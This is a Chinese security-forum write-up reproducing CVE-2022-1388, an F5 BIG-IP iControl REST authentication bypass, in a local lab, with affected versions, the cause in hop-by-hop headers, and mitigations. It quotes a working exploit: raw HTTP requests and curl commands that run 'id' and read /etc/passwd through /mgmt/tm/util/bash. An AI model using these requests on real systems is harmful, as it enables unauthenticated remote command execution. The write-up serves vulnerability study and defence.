奇安信攻防社区-CVE-2022-1388复现

CVE-2022-1388复现

CVE-2022-1388： BIG-IP iControl REST 漏洞

CVE-2022-1388： BIG-IP iControl REST 漏洞
======================================

0x00 影响
=======

> **Impact**
> 
> This vulnerability may allow an unauthenticated attacker with network access to the BIG-IP system through the management port and/or self IP addresses to execute arbitrary system commands, create or delete files, or disable services. There is no data plane exposure; this is a control plane issue only.

根据官方描述得知，该漏洞允许未授权的攻击者通过接口对BIG-IP系统访问，并能执行任意系统命令、创建、删除文件以及关闭服务。

| 产品 | 分支 | 受影响版本 | Fixes introduced in3 | 漏洞威胁等级 | CVSSv3 评分 |
|---|---|---|---|---|---|
| BIG-IP (all modules) | 17.x | None | 17.0.0 | 严重 | [9.8](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
|  | 16.x | 16.1.0 - 16.1.2 | 16.1.2.2 |  |  |
|  | 15.x | 15.1.0 - 15.1.5 | 15.1.5.1 |  |  |
|  | 14.x | 14.1.0 - 14.1.4 | 14.1.4.6 |  |  |
|  | 13.x | 13.1.0 - 13.1.4 | 13.1.5 |  |  |
|  | 12.x | 12.1.0 - 12.1.6 | 官方无补丁 |  |  |
|  | 11.x | 11.6.1-11.6.5 | 官方无补丁 |  |  |

0x01 复现
=======

从官网<https://downloads.f5.com/esd/productlines.jsp>下载4个版本虚拟镜像，本地复现：

选择镜像需要在受影响版本内的虚拟机ova包，

![image-20220510181303182.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-9c5cc34a7484e638637989f230c46f158a92a677.png)  
下载好的镜像，直接双击打卡导入，或者在虚拟机中选择导入均可：

![image-20220510180934767.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-75e6cd538690a9c06669b34987356442329b3748.png)

![image-20220510181421031.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-e649bc599667fe0208ed4a31c6dacc6896f04059.png)

导入完成后打开该虚拟机，需要获取该虚拟机的ip，终端输入`root/default`登录后输入`ifconfig mgmt`即可查看ip

![image-20220510182122511.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-86d6e8914d9d0893b54565249236f10f830b7a63.png)

![image-20220510182410390.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-e7816d8388ece6cf8a69820369572855b6340e25.png)  
然后在浏览器输入`https://<ip>`打开看到登录界面抓包即可

![image-20220510182847547.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-82a9c96fb3aef76b194f64ea8d0e15de2e4ff87c.png)

参考<https://packetstormsecurity.com/files/167007/F5-BIG-IP-Remote-Code-Execution.html>的exp如下：

```php
\# F5 BIG-IP RCE exploitation (CVE-2022-1388)  
  
POST (1):   
  
POST /mgmt/tm/util/bash HTTP/1.1  
Host: <redacted>:8443  
Authorization: Basic YWRtaW46  
Connection: keep-alive, X-F5-Auth-Token  
X-F5-Auth-Token: 0  
  
{"command": "run" , "utilCmdArgs": " -c 'id' " }  
  
curl commandliner:   
  
$ curl -i -s -k -X $'POST'  
\-H $'Host: <redacted>:8443'   
\-H $'Authorization: Basic YWRtaW46'   
\-H $'Connection: keep-alive, X-F5-Auth-Token'   
\-H $'X-F5-Auth-Token: 0'   
\-H $'Content-Length: 52'   
\--data-binary $'{\\"command\\": \\"run\\" , \\"utilCmdArgs\\": \\" -c \\'id\\' \\" }\\x0d\\x0a'  
$'https://<redacted>:8443/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080  
  
  
POST (2):  
  
POST /mgmt/tm/util/bash HTTP/1.1  
Host: <redateced>:8443  
Authorization: Basic YWRtaW46  
Connection: keep-alive, X-F5-Auth-Token  
X-F5-Auth-Token: 0  
  
{"command": "run" , "utilCmdArgs": " -c ' cat /etc/passwd' " }  
  
curl commandliner:  
  
$ curl -i -s -k -X $'POST'  
\-H $'Host: <redacted>:8443'   
\-H $'Authorization: Basic YWRtaW46' -H $'Connection: keep-alive, X-F5-Auth-Token'   
\-H $'X-F5-Auth-Token: 0'  
\--data-binary $'{\\"command\\": \\"run\\" , \\"utilCmdArgs\\": \\" -c \\' cat /etc/passwd\\' \\" }\\x0d\\x0a\\x0d\\x0a'  
$'https://<redacted>/mgmt/tm/util/bash' --proxy http://127.0.0.1:8080

```

问题可能与使用空凭据`admin:`绕过了前端和后端身份验证有关，以及HTTP的 hop\_by\_hop请求头问题:

<https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open>

<https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers>

HTTP的 hop\_by\_hop请求头问题，大概意思就是讲：

请求还可以定义一组自定义的标头，通过将它们添加到标头[中来逐跳处理](https://tools.ietf.org/html/rfc2616#section-14.10)`Connection`，如下所示：

Connection: close, X-Foo, X-Bar

在此示例中，我们要求代理将`X-Foo`和`X-Bar`作为逐跳处理，这意味着我们希望代理在传递请求之前将它们从请求中删除。

复现过程中发现只有14.x-16.x版本的请求头需要为`Host:localhost`才可以。

![image-20220510185630802.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-3d9a6fb597d8608a9be3c4cfd29d381067546c87.png)

![image-20220510183248712.png](https://shs3.b.qianxin.com/attack_forum/2022/05/attach-a922ff7b1cd06ecb42e9eb8630f6928761ff8c45.png)

0x02 修复方案
=========

建议升级只最新版本或可参考官方修复建议：<https://support.f5.com/csp/article/K23605346> 的`Recommended Actions`

在受影响的版本内可执行以下步骤以缓解攻击：

**通过自身 IP 地址阻止 iControl REST 访问**

**通过管理界面阻止 iControl REST 访问**

**修改 BIG-IP httpd 配置**

0x03 参考链接
=========

<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388>

<https://support.f5.com/csp/article/K23605346>

<https://packetstormsecurity.com/files/167007/F5-BIG-IP-Remote-Code-Execution.html>

<https://portswigger.net/research/top-10-web-hacking-techniques-of-2019-nominations-open>

<https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers>

发表于 2022-05-18 09:42:57
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分类：漏洞分析

CVE-2022-1388复现

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